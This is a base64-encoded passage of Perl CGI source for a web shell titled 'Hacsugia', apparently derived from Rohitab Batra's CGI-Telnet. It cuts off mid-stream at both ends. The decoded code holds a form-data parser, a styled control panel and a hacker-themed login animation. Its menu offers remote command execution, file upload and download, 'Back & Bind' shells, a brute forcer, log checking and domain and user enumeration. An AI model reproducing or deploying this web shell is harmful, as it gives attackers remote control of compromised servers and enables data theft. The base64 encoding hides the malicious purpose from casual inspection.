QkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhd